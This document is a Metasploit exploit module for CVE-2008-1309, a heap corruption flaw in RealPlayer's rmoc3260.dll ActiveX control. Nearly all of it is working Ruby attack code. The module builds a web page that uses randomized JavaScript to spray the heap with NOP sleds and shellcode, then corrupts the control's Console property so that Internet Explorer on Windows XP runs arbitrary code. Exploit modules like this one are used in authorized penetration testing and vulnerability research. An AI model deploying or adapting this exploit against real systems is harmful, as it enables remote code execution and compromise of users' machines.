RealPlayer – ‘rmoc3260.dll’ ActiveX Control Heap Corruption (Metasploit)
## # $Id: realplayer_console.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption', 'Description' => %q{ This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control. By sending a specially crafted string to the 'Console' property in the rmoc3260.dll control, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ], 'Version' => '$Revision: 9525 $', 'References' => [ [ 'CVE', '2008-1309' ], [ 'OSVDB', '42946' ], [ 'BID', '28157' ], [ 'URL', 'http://secunia.com/advisories/29315/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ] ], 'DisclosureDate' => 'Mar 8 2008', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape([target.ret].pack('V')) ret = Rex::Text.uri_encode([target.ret].pack('L')) blocksize = 0x40000 fillto = 400 offset = target['Offset'] # Randomize the javascript variable names racontrol = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) j_ret = rand_text_alpha(rand(100) + 1) # Build out the message content = %Q|<html> <object classid='clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93' id='#{racontrol}'></object> <script language='javascript'> #{j_shellcode} = unescape('#{shellcode}'); #{j_nops} = unescape('#{nops}'); #{j_headersize} = 20; #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops}; #{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace}); #{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace}); while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock}; #{j_memory} = new Array(); for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode}; #{j_ret} = unescape('#{ret}'); while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret}; #{racontrol}.Console = #{j_ret}; #{racontrol}.Console = ''; #{racontrol}.Console = #{j_ret}; </script> </html> | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |